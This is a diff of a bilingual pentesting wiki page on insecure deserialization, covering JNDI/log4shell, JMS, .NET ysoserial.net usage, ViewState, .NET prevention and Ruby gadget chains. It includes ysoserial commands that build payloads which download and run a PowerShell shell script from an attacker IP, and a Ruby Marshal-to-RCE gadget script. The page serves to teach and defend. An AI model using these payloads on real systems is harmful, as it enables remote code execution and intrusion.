- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Java und .Net JSON Deserialisierung **Papier:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** Vortrag: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) und Folien: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Deserialisierungs-CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## JNDI-Injection & log4Shell
|
||||
## JNDI Injection & log4Shell
|
||||
|
||||
Find whats is **JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell** (and example of this vuln) in the following page:
|
||||
|
||||
Finden Sie heraus, was **JNDI Injection ist, wie man es über RMI, CORBA & LDAP missbraucht und wie man log4shell ausnutzt** (und ein Beispiel für diese Schwachstelle) auf der folgenden Seite:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
@ -652,11 +669,11 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - Java Message Service
|
||||
|
||||
> Die **Java Message Service** (**JMS**) API ist eine Java-nachrichtenorientierte Middleware-API zum Senden von Nachrichten zwischen zwei oder mehr Clients. Es ist eine Implementierung zur Handhabung des Produzenten-Konsumenten-Problems. JMS ist Teil der Java Platform, Enterprise Edition (Java EE), und wurde durch eine Spezifikation definiert, die bei Sun Microsystems entwickelt wurde, aber seitdem vom Java Community Process geleitet wird. Es ist ein Messaging-Standard, der es Anwendungsmodulen, die auf Java EE basieren, ermöglicht, Nachrichten zu erstellen, zu senden, zu empfangen und zu lesen. Es ermöglicht die Kommunikation zwischen verschiedenen Komponenten einer verteilten Anwendung, die lose gekoppelt, zuverlässig und asynchron ist. (Von [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
> The **Java Message Service** (**JMS**) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
|
||||
### Produkte
|
||||
### Products
|
||||
|
||||
Es gibt mehrere Produkte, die diese Middleware verwenden, um Nachrichten zu senden:
|
||||
There are several products using this middleware to send messages:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -664,25 +681,25 @@ Es gibt mehrere Produkte, die diese Middleware verwenden, um Nachrichten zu send
|
||||
|
||||
### Ausnutzung
|
||||
|
||||
Im Grunde gibt es eine **Menge von Diensten, die JMS auf gefährliche Weise verwenden**. Daher, wenn Sie **genug Berechtigungen** haben, um Nachrichten an diese Dienste zu senden (normalerweise benötigen Sie gültige Anmeldeinformationen), könnten Sie in der Lage sein, **bösartige Objekte zu senden, die vom Verbraucher/Abonnenten deserialisiert werden**.\
|
||||
Das bedeutet, dass bei dieser Ausnutzung alle **Clients, die diese Nachricht verwenden, infiziert werden**.
|
||||
Im Grunde existiert eine Vielzahl von Services, die JMS auf eine unsichere Weise einsetzen. Wenn Sie daher über **ausreichende Privilegien** verfügen, um Nachrichten an diese Services zu senden (in der Regel benötigen Sie gültige Zugangsdaten), könnten Sie in der Lage sein, **bösartige, serialisierte Objekte** zu senden, die vom Consumer/Subscriber deserialisiert werden.
|
||||
Das bedeutet, dass bei dieser Ausnutzung alle **Clients, die diese Nachricht verwenden, kompromittiert werden**.
|
||||
|
||||
Sie sollten sich daran erinnern, dass selbst wenn ein Dienst anfällig ist (weil er Benutzereingaben unsicher deserialisiert), Sie immer noch gültige Gadgets finden müssen, um die Schwachstelle auszunutzen.
|
||||
Beachten Sie, dass selbst wenn ein Service verwundbar ist (weil er Benutzereingaben unsicher deserialisiert), Sie dennoch gültige Gadgets finden müssen, um die Schwachstelle auszunutzen.
|
||||
|
||||
Das Tool [JMET](https://github.com/matthiaskaiser/jmet) wurde entwickelt, um **diese Dienste zu verbinden und anzugreifen, indem mehrere bösartige Objekte gesendet werden, die mit bekannten Gadgets serialisiert sind**. Diese Exploits funktionieren, wenn der Dienst weiterhin anfällig ist und wenn eines der verwendeten Gadgets in der anfälligen Anwendung enthalten ist.
|
||||
Das Tool [JMET](https://github.com/matthiaskaiser/jmet) wurde erstellt, um **mit diesen Services zu verbinden und sie anzugreifen, indem mehrere bösartige, serialisierte Objekte mit bekannten Gadgets gesendet werden**. Diese Exploits funktionieren, wenn der Service noch verwundbar ist und eines der verwendeten Gadgets in der verwundbaren Anwendung enthalten ist.
|
||||
|
||||
### Referenzen
|
||||
### References
|
||||
|
||||
- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
|
||||
|
||||
- JMET Vortrag: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Folien: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
## .Net
|
||||
|
||||
Im Kontext von .Net funktionieren Deserialisierungs-Exploits ähnlich wie die in Java, wobei Gadgets ausgenutzt werden, um spezifischen Code während der Deserialisierung eines Objekts auszuführen.
|
||||
Im Kontext von .Net funktionieren Deserialisierungs-Exploits ähnlich wie bei Java, wobei Gadgets ausgenutzt werden, um während der Deserialisierung eines Objekts bestimmten Code auszuführen.
|
||||
|
||||
### Fingerabdruck
|
||||
### Fingerprint
|
||||
|
||||
#### WhiteBox
|
||||
|
||||
@ -691,32 +708,32 @@ Der Quellcode sollte auf Vorkommen von:
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
Untersucht werden. Der Fokus sollte auf Serialisierern liegen, die es ermöglichen, den Typ durch eine vom Benutzer kontrollierte Variable zu bestimmen.
|
||||
untersucht werden. Der Fokus sollte auf Serializern liegen, die es erlauben, den Typ durch eine vom Benutzer kontrollierte Variable zu bestimmen.
|
||||
|
||||
#### BlackBox
|
||||
|
||||
Die Suche sollte auf die Base64-codierte Zeichenfolge **AAEAAAD/////** oder ein ähnliches Muster abzielen, das auf der Serverseite deserialisiert werden könnte und die Kontrolle über den zu deserialisierenden Typ gewährt. Dies könnte JSON- oder XML-Strukturen mit `TypeObject` oder `$type` umfassen, ist aber nicht darauf beschränkt.
|
||||
Bei der Suche sollte auf den Base64-kodierten String **AAEAAAD/////** oder ein ähnliches Muster geachtet werden, das serverseitig deserialisiert werden könnte und Kontrolle über den zu deserialisierenden Typ gewährt. Dies kann, ist aber nicht beschränkt auf, **JSON**- oder **XML**-Strukturen mit `TypeObject` oder `$type` sein.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
In diesem Fall können Sie das Tool [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) verwenden, um **die Deserialisierungs-Exploits zu erstellen**. Nachdem Sie das Git-Repository heruntergeladen haben, sollten Sie **das Tool kompilieren**, zum Beispiel mit Visual Studio.
|
||||
In diesem Fall können Sie das Tool [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) verwenden, um **Deserialisierungs-Exploits zu erstellen**. Nachdem Sie das Git-Repository heruntergeladen haben, sollten Sie das Tool beispielsweise mit Visual Studio **kompilieren**.
|
||||
|
||||
Wenn Sie lernen möchten, **wie ysoserial.net seinen Exploit erstellt**, können Sie [**diese Seite überprüfen, auf der das ObjectDataProvider-Gadget + ExpandedWrapper + Json.Net-Formatter erklärt wird**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
Wenn Sie lernen möchten, **wie ysoserial.net seinen Exploit erstellt**, können Sie [**diese Seite prüfen, auf der das ObjectDataProvider-Gadget + ExpandedWrapper + Json.Net-Formatter erklärt werden**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
Die Hauptoptionen von **ysoserial.net** sind: **`--gadget`**, **`--formatter`**, **`--output`** und **`--plugin`.**
|
||||
Die Hauptoptionen von **ysoserial.net** sind: **`--gadget`**, **`--formatter`**, **`--output`** und **`--plugin`**.
|
||||
|
||||
- **`--gadget`** wird verwendet, um das Gadget anzugeben, das ausgenutzt werden soll (geben Sie die Klasse/Funktion an, die während der Deserialisierung missbraucht wird, um Befehle auszuführen).
|
||||
- **`--formatter`**, wird verwendet, um die Methode anzugeben, um den Exploit zu serialisieren (Sie müssen wissen, welche Bibliothek das Backend verwendet, um die Payload zu deserialisieren, und dieselbe verwenden, um sie zu serialisieren).
|
||||
- **`--output`** wird verwendet, um anzugeben, ob Sie den Exploit in **raw** oder **base64** codiert haben möchten. _Beachten Sie, dass **ysoserial.net** die Payload mit **UTF-16LE** (Standardkodierung unter Windows) **codiert**, sodass, wenn Sie die Raw-Version erhalten und sie einfach von einer Linux-Konsole aus codieren, möglicherweise einige **Kodierungs-Kompatibilitätsprobleme** auftreten, die verhindern, dass der Exploit ordnungsgemäß funktioniert (in der HTB JSON-Box funktionierte die Payload sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass es immer funktioniert)._
|
||||
- **`--gadget`** wird verwendet, um das auszunutzende Gadget anzugeben (die Klasse/Funktion, die während der Deserialisierung missbraucht wird, um Befehle auszuführen).
|
||||
- **`--formatter`** wird verwendet, um die Methode anzugeben, mit der der Exploit serialisiert wird (Sie müssen wissen, welche Bibliothek das Backend zur Deserialisierung des Payloads verwendet und dieselbe zum Serialisieren benutzen).
|
||||
- **`--output`** gibt an, ob Sie den Exploit als **raw** oder **base64** codiert haben möchten. _Beachten Sie, dass **ysoserial.net** den Payload mit **UTF-16LE** (Standardkodierung unter Windows) **kodiert**, sodass, wenn Sie das raw erhalten und es einfach in einer Linux-Konsole umkodieren, **Kodierungs-Kompatibilitätsprobleme** auftreten können, die verhindern, dass der Exploit korrekt funktioniert (in der HTB JSON-Box funktionierte der Payload sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass er immer funktioniert)._
|
||||
- **`--plugin`** ysoserial.net unterstützt Plugins, um **Exploits für spezifische Frameworks** wie ViewState zu erstellen.
|
||||
|
||||
#### Weitere ysoserial.net-Parameter
|
||||
|
||||
- `--minify` liefert eine **kleinere Payload** (wenn möglich)
|
||||
- `--raf -f Json.Net -c "anything"` Dies gibt an, welche Gadgets mit einem angegebenen Formatter (`Json.Net` in diesem Fall) verwendet werden können.
|
||||
- `--sf xml` Sie können **ein Gadget** (`-g`) angeben, und ysoserial.net wird nach Formatierern suchen, die "xml" enthalten (nicht groß-/kleinschreibungssensitiv).
|
||||
- `--minify` liefert einen **kleineren Payload** (falls möglich)
|
||||
- `--raf -f Json.Net -c "anything"` Dies gibt alle Gadgets an, die mit einem angegebenen Formatter verwendet werden können (`Json.Net` in diesem Fall)
|
||||
- `--sf xml` Sie können **ein Gadget angeben** (`-g`) und ysoserial.net wird nach Formattern suchen, die "xml" enthalten (case insensitive)
|
||||
|
||||
**ysoserial-Beispiele** zur Erstellung von Exploits:
|
||||
**ysoserial examples** to create exploits:
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
@ -734,9 +751,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||
#Create exploit using the created B64 shellcode
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** hat auch einen **sehr interessanten Parameter**, der hilft, besser zu verstehen, wie jeder Exploit funktioniert: `--test`\
|
||||
Wenn Sie diesen Parameter angeben, wird **ysoserial.net** den **Exploit lokal versuchen,** sodass Sie testen können, ob Ihr Payload korrekt funktioniert.\
|
||||
Dieser Parameter ist hilfreich, da Sie beim Überprüfen des Codes Codeabschnitte wie den folgenden finden werden (aus [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
**ysoserial.net** hat auch einen **sehr interessanten Parameter**, der dabei hilft, besser zu verstehen, wie jeder Exploit funktioniert: `--test`\
|
||||
Wenn du diesen Parameter angibst, wird **ysoserial.net** **versuchen**, den **Exploit lokal** auszuführen, sodass du testen kannst, ob dein Payload korrekt funktioniert.\
|
||||
Dieser Parameter ist hilfreich, weil du beim Durchsehen des Codes Abschnitte wie den folgenden findest (aus [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
{
|
||||
@ -761,46 +778,46 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
return obj;
|
||||
}
|
||||
```
|
||||
Im **vorherigen Code ist anfällig für den erstellten Exploit**. Wenn Sie also etwas Ähnliches in einer .Net-Anwendung finden, bedeutet das wahrscheinlich, dass diese Anwendung ebenfalls anfällig ist.\
|
||||
Daher ermöglicht uns der **`--test`**-Parameter zu verstehen, **welche Codeabschnitte anfällig** für den Deserialisierungs-Exploit sind, den **ysoserial.net** erstellen kann.
|
||||
Im vorherigen Code ist der erzeugte Exploit verwundbar. Wenn du etwas Ähnliches in einer .Net-Anwendung findest, bedeutet das wahrscheinlich, dass auch diese Anwendung verwundbar ist.\
|
||||
Deshalb erlaubt uns der Parameter **`--test`**, zu erkennen, **welche Codeabschnitte** gegenüber dem Deserialisierungs-Exploit verwundbar sind, den **ysoserial.net** erzeugen kann.
|
||||
|
||||
### ViewState
|
||||
|
||||
Werfen Sie einen Blick auf [diesen POST über **wie man versucht, den \_\_ViewState-Parameter von .Net auszunutzen**](exploiting-__viewstate-parameter.md), um **willkürlichen Code auszuführen.** Wenn Sie **bereits die Geheimnisse** kennen, die von der Opfermaschine verwendet werden, [**lesen Sie diesen Beitrag, um zu erfahren, wie man Code ausführt**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||
Siehe [diesen POST über **wie man versucht, den \_\_ViewState parameter of .Net auszunutzen**](exploiting-__viewstate-parameter.md), um **beliebigen Code auszuführen.** Wenn du die für die Opfermaschine verwendeten **secrets bereits kennst**, [**lies diesen Beitrag, um zu erfahren, wie man Code ausführt**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||
|
||||
### Prevention
|
||||
### Prävention
|
||||
|
||||
Um die Risiken im Zusammenhang mit der Deserialisierung in .Net zu mindern:
|
||||
Um die Risiken im Zusammenhang mit Deserialisierung in .Net zu mindern:
|
||||
|
||||
- **Vermeiden Sie es, Datenströme ihre Objekttypen definieren zu lassen.** Verwenden Sie `DataContractSerializer` oder `XmlSerializer`, wenn möglich.
|
||||
- **Für `JSON.Net` setzen Sie `TypeNameHandling` auf `None`:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **Vermeiden Sie die Verwendung von `JavaScriptSerializer` mit einem `JavaScriptTypeResolver`.**
|
||||
- **Begrenzen Sie die Typen, die deserialisiert werden können**, und verstehen Sie die inhärenten Risiken mit .Net-Typen, wie `System.IO.FileInfo`, die die Eigenschaften von Serverdateien ändern können, was potenziell zu Denial-of-Service-Angriffen führen kann.
|
||||
- **Seien Sie vorsichtig mit Typen, die riskante Eigenschaften haben**, wie `System.ComponentModel.DataAnnotations.ValidationException` mit seiner `Value`-Eigenschaft, die ausgenutzt werden kann.
|
||||
- **Steuern Sie die Typinstanziierung sicher**, um zu verhindern, dass Angreifer den Deserialisierungsprozess beeinflussen, wodurch selbst `DataContractSerializer` oder `XmlSerializer` anfällig werden.
|
||||
- **Implementieren Sie Whitelist-Kontrollen** mit einem benutzerdefinierten `SerializationBinder` für `BinaryFormatter` und `JSON.Net`.
|
||||
- **Bleiben Sie informiert über bekannte unsichere Deserialisierungs-Gadgets** innerhalb von .Net und stellen Sie sicher, dass Deserialisierer solche Typen nicht instanziieren.
|
||||
- **Isolieren Sie potenziell riskanten Code** von Code mit Internetzugang, um zu vermeiden, dass bekannte Gadgets, wie `System.Windows.Data.ObjectDataProvider` in WPF-Anwendungen, untrusted Datenquellen ausgesetzt werden.
|
||||
- **Vermeide es, Datenströmen zu erlauben, ihre Objekttypen zu definieren.** Verwende `DataContractSerializer` oder `XmlSerializer`, wenn möglich.
|
||||
- **Für `JSON.Net`, setze `TypeNameHandling` auf `None`:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **Vermeide die Verwendung von `JavaScriptSerializer` mit einem `JavaScriptTypeResolver`.**
|
||||
- **Begrenze die Typen, die deserialisiert werden können**, und sei dir der inhärenten Risiken bestimmter .Net-Typen bewusst, wie `System.IO.FileInfo`, die Eigenschaften von Server-Dateien ändern können und dadurch potenziell Denial-of-Service-Angriffe verursachen.
|
||||
- **Sei vorsichtig mit Typen, die riskante Eigenschaften besitzen**, wie `System.ComponentModel.DataAnnotations.ValidationException` mit seiner `Value`-Eigenschaft, die ausgenutzt werden kann.
|
||||
- **Kontrolliere die Typinstanziierung sicher**, um zu verhindern, dass Angreifer den Deserialisierungsprozess beeinflussen — sonst können selbst `DataContractSerializer` oder `XmlSerializer` verwundbar werden.
|
||||
- **Implementiere Whitelist-Kontrollen** mit einem benutzerdefinierten `SerializationBinder` für `BinaryFormatter` und `JSON.Net`.
|
||||
- **Halte dich über bekannte unsichere Deserialisierungs-Gadgets in .Net auf dem Laufenden** und stelle sicher, dass Deserializer solche Typen nicht instanziieren.
|
||||
- **Isoliere potenziell riskanten Code** vom Code mit Internetzugang, damit bekannte Gadgets wie `System.Windows.Data.ObjectDataProvider` in WPF-Anwendungen nicht vertrauenswürdigen Datenquellen ausgesetzt werden.
|
||||
|
||||
### **References**
|
||||
|
||||
- Java und .Net JSON Deserialisierung **Papier:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** Vortrag: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) und Folien: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
|
||||
## **Ruby**
|
||||
|
||||
In Ruby wird die Serialisierung durch zwei Methoden innerhalb der **marshal**-Bibliothek erleichtert. Die erste Methode, bekannt als **dump**, wird verwendet, um ein Objekt in einen Byte-Stream zu transformieren. Dieser Prozess wird als Serialisierung bezeichnet. Im Gegensatz dazu wird die zweite Methode, **load**, verwendet, um einen Byte-Stream wieder in ein Objekt zurückzuführen, ein Prozess, der als Deserialisierung bekannt ist.
|
||||
In Ruby wird die Serialisierung durch zwei Methoden der **marshal**-Bibliothek realisiert. Die erste Methode, **dump**, wandelt ein Objekt in einen Bytestrom um — das ist die Serialisierung. Die zweite Methode, **load**, wandelt umgekehrt einen Bytestrom zurück in ein Objekt — das ist die Deserialisierung.
|
||||
|
||||
Zur Sicherung serialisierter Objekte verwendet **Ruby HMAC (Hash-Based Message Authentication Code)**, um die Integrität und Authentizität der Daten zu gewährleisten. Der Schlüssel, der zu diesem Zweck verwendet wird, wird an einem von mehreren möglichen Orten gespeichert:
|
||||
Zur Absicherung serialisierter Objekte verwendet Ruby **HMAC (Hash-Based Message Authentication Code)**, um die Integrität und Authentizität der Daten zu gewährleisten. Der dafür verwendete Schlüssel wird an einem der folgenden Orte gespeichert:
|
||||
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
- `config/secrets.yml`
|
||||
- `/proc/self/environ`
|
||||
|
||||
**Ruby 2.X generische Deserialisierung zu RCE Gadget-Kette (mehr Infos in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
**Ruby 2.X generische Deserialisierung-zu-RCE-Gadget-Kette (mehr Infos in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**):**
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
@ -871,18 +888,18 @@ require "base64"
|
||||
puts "Payload (Base64 encoded):"
|
||||
puts Base64.encode64(payload)
|
||||
```
|
||||
Andere RCE-Kette zur Ausnutzung von Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
Weitere RCE-Kette zur Ausnutzung von Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
### Ruby .send() Methode
|
||||
|
||||
Wie in [**diesem Sicherheitsbericht**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) erklärt, wenn einige unsanitisierte Benutzereingaben die `.send()` Methode eines Ruby-Objekts erreichen, erlaubt diese Methode, **jede andere Methode** des Objekts mit beliebigen Parametern aufzurufen.
|
||||
Wie in [**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) erklärt, wenn unsanitized user input die `.send()`-Methode eines ruby-Objekts erreicht, erlaubt diese Methode, **jede andere Methode** des Objekts mit beliebigen Parametern aufzurufen.
|
||||
|
||||
Zum Beispiel wird das Aufrufen von eval und dann Ruby-Code als zweiter Parameter die Ausführung beliebigen Codes ermöglichen:
|
||||
Zum Beispiel ermöglicht das Aufrufen von eval und das Übergeben von ruby code als zweiten Parameter die Ausführung beliebigen Codes:
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
Darüber hinaus, wenn nur ein Parameter von **`.send()`** von einem Angreifer kontrolliert wird, wie im vorherigen Bericht erwähnt, ist es möglich, jede Methode des Objekts aufzurufen, die **keine Argumente benötigt** oder deren Argumente **Standardwerte** haben.\
|
||||
Dafür ist es möglich, alle Methoden des Objekts aufzulisten, um **einige interessante Methoden zu finden, die diese Anforderungen erfüllen**.
|
||||
Außerdem, wenn nur ein Parameter von **`.send()`** von einem Angreifer kontrolliert wird, wie im vorherigen writeup erwähnt, ist es möglich, jede Methode des Objekts aufzurufen, die **keine Argumente benötigt** oder deren Argumente **Standardwerte haben**.\
|
||||
Dazu ist es möglich, alle Methoden des Objekts aufzuzählen, um **einige interessante Methoden zu finden, die diese Anforderungen erfüllen**.
|
||||
```ruby
|
||||
<Object>.send('<user_input>')
|
||||
|
||||
@ -904,25 +921,25 @@ candidate_methods = repo_methods.select() do |method_name|
|
||||
end
|
||||
candidate_methods.length() # Final number of methods=> 3595
|
||||
```
|
||||
### Ruby-Klassenverschmutzung
|
||||
### Ruby class pollution
|
||||
|
||||
Überprüfen Sie, wie es möglich sein könnte, eine Ruby-Klasse zu [verschmutzen und sie hier zu missbrauchen](ruby-class-pollution.md).
|
||||
Siehe, wie es möglich ist, [pollute a Ruby class and abuse it in here](ruby-class-pollution.md).
|
||||
|
||||
### Ruby _json-Verschmutzung
|
||||
### Ruby _json pollution
|
||||
|
||||
Wenn einige nicht hashbare Werte wie ein Array in den Body gesendet werden, werden sie in einen neuen Schlüssel namens `_json` eingefügt. Es ist jedoch möglich, dass ein Angreifer auch im Body einen Wert namens `_json` mit beliebigen Werten festlegt. Wenn das Backend beispielsweise die Richtigkeit eines Parameters überprüft, aber dann auch den `_json`-Parameter verwendet, um eine Aktion auszuführen, könnte ein Autorisierungsumgehung durchgeführt werden.
|
||||
Wenn im Body einige Werte gesendet werden, die nicht hashbar sind, wie z. B. ein Array, werden sie unter einem neuen Schlüssel namens `_json` hinzugefügt. Es ist jedoch möglich, dass ein Angreifer im Body selbst einen Wert namens `_json` mit beliebigen Werten setzt. Wenn das Backend zum Beispiel die Verifizität eines Parameters prüft, aber anschließend den `_json`-Parameter zur Ausführung einer Aktion verwendet, kann ein authorisation bypass durchgeführt werden.
|
||||
|
||||
Überprüfen Sie weitere Informationen auf der [Ruby _json-Verschmutzungsseite](ruby-_json-pollution.md).
|
||||
Weitere Informationen findest du in der [Ruby _json pollution page](ruby-_json-pollution.md).
|
||||
|
||||
### Andere Bibliotheken
|
||||
|
||||
Diese Technik wurde [**aus diesem Blogbeitrag**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) entnommen.
|
||||
Diese Technik wurde übernommen[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
Es gibt andere Ruby-Bibliotheken, die verwendet werden können, um Objekte zu serialisieren, und die daher missbraucht werden könnten, um RCE während einer unsicheren Deserialisierung zu erlangen. Die folgende Tabelle zeigt einige dieser Bibliotheken und die Methode, die sie von der geladenen Bibliothek aufrufen, wann immer sie deserialisiert wird (Funktion, die missbraucht werden kann, um RCE zu erhalten):
|
||||
